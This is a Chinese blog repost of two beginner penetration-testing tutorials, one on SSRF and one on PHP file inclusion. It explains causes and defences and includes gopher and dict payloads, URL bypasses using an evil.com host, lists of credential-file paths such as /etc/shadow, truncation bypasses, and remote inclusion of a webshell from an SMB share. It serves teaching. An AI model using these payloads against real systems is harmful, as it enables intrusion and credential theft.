web渗透SSRF漏洞超详细讲解
Posted 摆烂阳
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web渗透SSRF漏洞超详细讲解相关的知识,希望对你有一定的参考价值。
💕💕💕 博主昵称:摆烂阳💕💕💕
🥰博主主页跳转链接
👩💻博主研究方向:web渗透测试 、python编程
📃 博主寄语:希望本篇文章能给大家带来帮助,有不足的地方,希望友友们给予指导
SSRF漏洞
一、原理简介
SSRF(Server-Side Request Forgery:服务器端请求伪造)
是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)
二、漏洞形成的原因
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。
由于存在防火墙的防护,导致攻击者无法直接入侵内网;
这时攻击者可以以服务器为跳板发起一些网络请求,从而攻击内网的应用及获取内网数据。
三、SSRF和CSRF的区别
1、CSRF是服务器端没有对用户提交的数据进行随机值校验,且对http请求包内的refer字段校验不严,导致攻击者可以利用用户的cookie信息伪造用户请求发送至服务器;
2、SSRF是服务器对用户提供的可控URL过于信任,没有对攻击者提供的URL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或者其它服务器
四、SSRF的攻击方式
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
5.利用file协议读取本地文件等。
五、寻找漏洞的方法
1.能够对外发起网络请求的地方,就可能存在SSRF漏洞
2.从远程服务器请求资源(Upload from URL,Import & Export RSS feed)
3.数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
4.Webmail收取其他邮箱邮件(POP3/IMAP/SMTP)
5.文件处理,编码处理,属性信息处理(ffpmg,ImageMaic,DOCX,PDF,XML处理器)
六、伪协议的介绍
1、ftp:// 协议
功能:
探测目标端口
实操:
如果目标未开放探测的端口,则会立马产生回显
如果对方开放了所探测的端口,页面将会一直处于加载中的状态
2、Gopher://协议
俗称万金油协议,可以任意的构造请求
payload:
gopher://192.168.5.111:80/_POST%20/aa.php%20HTTP/1.1%0d%0aHost:%20192.168.5.111:80%0d%0aUser-Agent:%20Mozilla/5.0%20(Windows%20NT%2010.0;%20Win64;%20x64)%20AppleWebKit/537.36%20(Khtml,%20like%20Gecko)%20Chrome/103.0.5060.134%20Safari/537.36%20Edg/103.0.1264.77
此时可以查看到目标的信息
3、Dict:// 协议
功能:
探测主机信息
实操:
此时发现可以探测到目标的信息
七、绕过姿势
对于SSRF的限制大致有如下几种:
1、 限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。
采用HTTP基本身份认证的方式绕过
即@: http://www.xxx.com@www.evil.com
2、限制域名只能为 http://www.xxx.com
采用无效的伪协议头,例:httpssssss://就会将他当做文件夹,然后再配合目录穿越即可读取文件
3、限制不能访问内网的IP,以防止对内网进行攻击。
可以采用短链接或者ip指向来解决
4、屏蔽返回的详细信息。
八、漏洞修复
1、防护措施
(1)过滤10.0.0.0/8 、172.16.0.0/12、192.168.0.0/16、localhost私有地址、IPv6地址
(2)过滤file:///、dict://、gopher://、ftp:// 危险schema
(3)对返回的内容进行识别
(4)内网服务开启鉴权(Memcached, Redis, Elasticsearch and MongoDB)
2、最佳防护
(1)使用地址白名单
(2)对返回内容进行识别
(3)需要使用互联网资源(比如贴吧使用网络图片)而无法使用白名单的情况:
首先禁用CURLOPT_FOLLOWLOCATION;然后通过域名获取目标ip,并过滤内部ip;最后识别返回的内容是否与假定内容一致
九、本章小结
通过SSRF漏洞的学习,我发现SSRF漏洞果然比CSRF漏洞的利用的局限性要小,并且SSRF漏洞对内网的一些应用危害比较大。所以在开发过程中,警惕大家要尽量避免产生SSRF漏洞。
另外警惕大家,网络并非法外之地,大家要谨遵网络安全法,不要做违纪违规的事情!
web渗透文件包含漏洞入门级超详细讲解
💕💕💕 博主昵称:摆烂阳💕💕💕
🥰博主主页链接https://blog.csdn.net/qinshuoyang1?type=blog 👩💻
博主研究方向:web渗透测试
📃 博主寄语:希望本篇文章能给大家带来帮助,有不足的地方,希望友友们给予指导
————————————————
目录
前言
在程序员开发过程中,通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需在此编写,这种调用文件的过程一般被称为文件包含。
一、原理
随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校检或者校检被绕过就造成了文件包含漏洞。
二、文件包含的分类
1、本地文件包含
当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。
2、远程文件包含
原理和本地文件包含类似,差别在于是通过第三方服务器的文件来进行包含。
ps:需要满足以下两个配置文件
1、在php.ini中allow_url_fopen为ON
2、在php.ini中allow_url_include为ON
三、常见的文件包含函数
1、include()
当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时之给出一个警告,然后继续向下执行。
2、include_once()
功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次
3、 require()
Require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
4、require_once()
功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。
5、highlight_file()、show_source()
函数对文件进行语法高亮显示,通常能看到源代码
6、readfile()、file_get_contents()、
函数读取一个文件,并写入到输出缓冲
7、fopen()
打开一个文件或者url
漏洞代码示例:
<?php
$filename = $_GET['file'];
include($file);
?>
以上代码,对$_GET[‘file’]参数没有经过严格的过滤,直接带入了include()函数,攻击者可以修改file的值,加载其他文件,执行非预期的操作,由此造成了文件包含漏洞;
我们在后面加上我们当前目录的文件1.txt 即可读取1.txt的内容显示出来
ps:
几乎所有的语言中都提供文件包含的功能,但文件包含漏洞在PHP中居多,而在JSP\\ASP\\ASP.NET程序中非常少,甚至没有文件包含漏洞的存在。
四、无限制本地文件包含漏洞
1、原理
无限制本地文件包含漏洞是指代码中没有为包含文件制定特定前缀或者.php、.html等扩展名,因此攻击者可以利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息,或者执行其他文件中的代码
2、常见的敏感信息路径
(1).Windows
查看系统版本
c:\\boot.ini
Apache配置信息
c:\\XX\\httpd.conf
IIS配置文件
c:\\windows\\system32\\inetsrv\\MetaBase.xml
存储Windows系统初次安装的密码
c:\\windows\\repair\\sam
MySQL配置
c:\\ProgramFiles\\mysql\\my.ini
MySQL root密码
c:\\ProgramFiles\\mysql\\data\\mysql\\user.MYD /
php 配置信息
c:\\windows\\php.ini
(2).Linux/Unix
账户信息
/etc/passwd
账户密码文件
/etc/shadow
Apache配置文件
/etc/httpd/conf/httpd.conf
mysql 配置文件
/etc/my.conf
Apache2默认配置文件
/usr/local/app/apache2/conf/httpd.conf
虚拟网站配置
/usr/local/app/apache2/conf/extra/httpd-vhost.conf
PHP相关配置
/usr/local/app/php5/lib/php.ini
无限制本地文件包含漏洞示例:
<?php
$filename = $_GET['filename'];
include($filename);
?>
利用漏洞读取Mysql配置信息
payload:
http://127.0.0.1/test.php?filename=C:\\phpStudy\\PHPTutorial\\MySQL\\my.ini
利用无限制本地包含漏洞执行代码
五、有限制文件包含
1、前言
有限制本地文件包含漏洞是指代码中为包含文件制定了特定的前缀或者.php、.html等扩展名,攻击者需要绕过前缀或者扩展名过滤,才能利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息。常见的有限制本地文件包含过滤绕过的方式主要:有%00截断文件包含、路径长度截断文件包含、点号截断文件包含这三种
测试代码:
<?php
$filename = $_GET['filename'];
include($filename,".html");
?>
2、本地限制绕过
(1)、路径长度截断
条件:
在 windows系统中,文件后缀最大长度256字节,在Linux中最大长度是 4096字节 , 超出的部分会被丢弃
绕过方式:
…或者/./.
(2)、00截断
%00是结束符,后面的数据会被直接忽略,导致扩展名截断。攻击者可以利用这个漏洞绕过扩展名过滤
漏洞利用条件:
(1) magic_quotes_gpc=off
(2) PHP<5.3.4
实操:
3、远程限制绕过
(1)、?绕过
http://127.0.0.1/test.php?file=http://ip/phpinfo.txt?
(2)、#(%23)绕过
http://127.0.0.1/test.php?file=http://ip/phpinfo.txt%23(#)
(3)、samba绕过
简介:
SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。
攻击场景概述:
当易受攻击的PHP应用程序代码尝试从受攻击者控制的SMB共享加载PHP Webshell时,SMB共享应允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的SMB服务器。因此,一旦易受攻击的应用程序尝试从SMB共享访问PHPWeb shell,SMB服务器将不会要求任何的凭据,易受攻击的应用程序将包含Web shell的PHP代码。
实操:
首先,我重新配置了PHP环境,并在php.in i文件中禁用了“allow-url-fopen”和“allow-url-include”。之后,配置了具有匿名浏览访问的SMB服务器。一旦SMB共享准备就绪,我们就可以利用易受攻击的应用程序了。
先在虚拟机中打开kali,并创建一个共享文件夹,在该文件夹中添加获取phpinfo代码
附赠配置文件
[global] workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user map to guest = bad user
name resolve order = bcast host
dns proxy = no bind interfaces only =
yes [ica] path = /var/www/html/pub
writable = no guest ok = yes guest
only = yes read
only = yes
directory mode = 0555
六、日志包含
1、简介
日志文件是用于记录系统操作事件的记录文件或文件集合,可分为事件日志和消息日志。具有处理历史数据、诊断问题的追踪以及理解系统的活动等重要作用。
2、利用条件
知道日志文件的存储路径,并且日志文件可读
(1)、apache的日志文件可以通过phpinfo()页面来查询,apache2hander中的server root 就是apache的安装路径,那么日志文件应该就是在这个路径下的logs目录中
(2)、或者通过猜测常见日志文件的路径/usr/local/apache/logs/error_log or access_log ,或者一些默认存储路径。
(3)、也可以通过包含配置文件来确定日志文件路径
Index.php?file=/etc/init.d/httpd
Index.php?file=/etc/httpd/conf/httpd.conf
首先利用burp抓包修改上传名称
跟着找到访问的cookie名称,然后包含日志文件的绝对路径
日志默认存放路径:
apache/logs/error.log或access.log
七、session包含
1、前言
Session就是保存在服务器的文本文件。 默认情况下,PHP.ini 中设置的 SESSION 保存方式是files(session.save_handler = files),即使用读写文件的方式保存 SESSION 数据,而 SESSION文件保存的目录由 session.save_path 指定,文件名以 sess_ 为前缀,后跟 SESSIONID,如:sess_c72665af28a8b14c0fe11afe3b59b51b。文件中的数据即是序列化之后的 SESSION 数据了
2、利用条件
1、session文件路径已知
session路径位置可以通过phpinfo页面来获取,
session.save_path为/var/lib/php/session.
通过猜测默认的session的存放位置进行尝试
Phpstudy默认session的存储路径为E:\\phpStudy\\PHPTutorial\\tmp\\tmp
2、且其中部分内容可控制
在默认的session的文件中,username后面的就是账号,那么能把这个账号控制变化那么就可以利用session包含。
3、实际利用
本次实验使用DVWA靶场
DVWA这个靶场是不满足条件,因为他的session是不可控的。那么我们可以添加一串代码来让他可控。
代码如下:
<?php
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>
八、总结
本篇文章耗费三个小时,可谓是呕心沥血,希望可以给大家带来帮助;另外警惕大家,网络并非法外之地,大家要谨遵网络安全法,不做违纪违规的事情!
以上是关于web渗透SSRF漏洞超详细讲解的主要内容,如果未能解决你的问题,请参考以下文章